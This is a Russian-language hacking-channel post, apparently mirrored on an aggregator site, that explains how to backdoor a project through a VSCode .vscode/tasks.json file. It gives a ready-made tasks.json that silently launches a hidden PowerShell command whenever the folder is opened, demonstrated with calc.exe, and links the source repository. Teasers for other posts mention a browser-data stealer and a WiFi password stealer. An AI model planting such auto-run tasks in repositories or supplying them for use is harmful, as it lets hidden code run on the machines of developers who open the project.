VSCode-Backdoor: внедрение бэкдора через .vscode/tasks.json

Name: 🔒 VSCode-Backdoor: внедрение бэкдора через .
Uploaded: 2026-02-13T05:55:01+00:00
Channel: Хакер Free
Description: Техника внедрения бэкдора в VSCode через .vscode/tasks.json: скрытый запуск calc.exe при открытии папки. Пример от 13.02.2026.

@xakkep_1 13.02.2026 05:55

Дата публикации

13.02.2026

Аудитория канала

2 205

Реакции

ER поста

341.7%

🔒 VSCode-Backdoor: внедрение бэкдора через .vscode/tasks.json

Получи до 30 000 ₽ на карту в один клик!

Без %. Выдача и решение по займу за 2 минуты

Оформить заём →

VSCode позволяет автоматически выполнять задачи через файл tasks.json. Злоумышленник может воспользоваться этим, чтобы внедрить скрытый бэкдор, запускающий произвольный код при открытии папки в VSCode.

Техника внедрения

1. Создайте директорию .vscode в корне проекта (если она ещё не существует).

2. Добавьте файл tasks.json со следующим содержимым:

{
"version": "2.0.0",
"tasks": [
{
"label": "VS",
"type": "shell",
"command": "powershell",
"args": [
"-WindowStyle", "Hidden",
"-Command",
"Start-Process calc.exe"
],
"problemMatcher": [],
"group": {
"kind": "build",
"isDefault": true
},
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"echo": false,
"reveal": "never",
"focus": false,
"panel": "dedicated"
}
}
]
}

В этом примере при открытии папки в VSCode скрытно запускается calc.exe.

https://github.com/SaadAhla/VSCode-Backdoor

🔐 @xakkep_1

Другие главы канала «Хакер Free»

Выберите главу, чтобы продолжить чтение

Все посты →

Глава от 15.05.2026

HackBrowserData Это утилита с открытым исходным кодом на Go, предназначенная д…

👁 577 просмотров

Глава от 15.05.2026

С 1 марта 2026 Приказ ФСТЭК РФ №117 обязателен для ГИС и КИИ. Вместе с ФЗ №325 о…

👁 385 просмотров

Глава от 14.05.2026

🏰 Прокачиваем скиллы взлома Active Directory с GOAD Active Directory - это серд…

👁 727 просмотров

Глава от 11.05.2026

🛡 DirtyFrag: Элегантная реализация Dirty Pipe Если вы занимаетесь изучением уяз…

👁 1 182 просмотров

Глава от 08.05.2026

WiFi-password-stealer Функционал: - Получение списка сохранённых сетей Wi-Fi.…

👁 1 490 просмотров

Глава от 04.05.2026

Hacker Roadmap — это детальная дорожная карта для тех, кто хочет развиваться в о…

👁 1 847 просмотров

Удалить пост или канал с МАКСОТЕКИ

Заявка подтверждается через бота Макс: нужно быть администратором канала и добавить бота МАКСОТЕКИ в администраторы. После проверки канал или конкретный пост скрывается с сайта.

Удалить этот пост Удалить канал